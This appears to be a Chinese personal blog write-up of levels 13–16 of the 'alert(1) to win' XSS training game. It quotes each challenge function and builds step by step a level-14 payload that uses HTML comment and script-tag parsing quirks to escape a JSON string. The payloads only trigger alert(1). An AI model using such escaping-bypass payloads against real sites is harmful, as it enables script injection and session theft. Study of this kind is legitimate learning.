【20171027中】alert(1) to win 第13,14,15,16题
第13题
题目:
function escape(s) { var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.am won't count. s = '<script>' + s + '<\/script>'; tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute('onload', 'youWon && alert(1)'); return tag.outerHTML; }
分析:
这题老黑没解出来,只知道答案是name='youWon',根据网上的答案可知每个frame都有一个全局对象window,而name是window的成员属性,存储窗口的名称。老黑猜测输入name='youWon'会触发alert(1),但是实验网址没有提示。
第14题
题目:
1 function escape(s) { 2 function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); } 3 function html(s) { return s.replace(/[<>"&]/g, function(s) { 4 return '&#' + s.charCodeAt(0) + ';'; }); } 5 6 return ( 7 '<script>' + 8 'var url = ' + json(s) + '; // We\'ll use this later ' + 9 '</script>\n\n' + 10 ' <!-- for debugging -->\n' + 11 ' URL: ' + html(s) + '\n\n' + 12 '<!-- then suddenly -->\n' + 13 '<script>\n' + 14 ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + 15 ' else new Image().src = url;\n' + 16 '</script>' 17 ); 18 }
分析:
触发alert(1)的地方在第11行,所以要构造在<script></script>的payload。
TRY:
第一次:"alert(1);" 失败!
第二次:查阅资料,知道html5的"script data escaped state"特性,使用<!--<script>,可以令解析器将此句后边的东西当做JS,可以实现闭合第9行的</script>,因此构造payload="alert(1);<!--<script>",结果显示如下:
1 <script>var url = "alert(1);<!--<script>"; // We'll use this later </script> 2 3 <!-- for debugging --> 4 URL: alert(1);<!--<script> 5 6 <!-- then suddenly --> 7 <script> 8 if (!/^http:.*/.test(url)) console.log("Bad url: " + url); 9 else new Image().src = url; 10 </script>
目前实际有效的代码是:
1 <script>var url = "alert(1); 2 3 <!-- for debugging --> 4 URL: alert(1); 5 <!-- then suddenly --> 6 <script> 7 if (!/^http:.*/.test(url)) console.log("Bad url: " + url); 8 else new Image().src = url; 9 </script>
但是还是有问题,第6行的<script>标签还有作用,而且语法报错!
第三次:payload=“alert(1);/*<!--<script>*/if(/a//*”,语法通过,会成为这样:
1 <script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*"; // We'll use this later </script> 2 3 <!-- for debugging --> 4 URL: alert(1);/*<!--<script>*/if(/a//* 5 6 <!-- then suddenly --> 7 <script> 8 if (!/^http:.*/.test(url)) console.log("Bad url: " + url); 9 else new Image().src = url; 10 </script>
去除无效代码如下:
1 <script>var url = "alert(1);" 2 3 <!-- for debugging --> 4 URL: alert(1); 5 if(/a/.test(url)) console.log("Bad url: " + url); 6 else new Image().src = url; 7 </script>
PS:以上是老黑自己的理解,仅供参考。
第15,16题,我并不理解答案,等以后知识足够的时候,再攻克这两个难题。网上解释的链接,你过来啊
虽然今天下午解决了两个题,但是也浪费了太多时间,效率太低,而且自制力不够,注意力不够集中,今天的表现很不满意。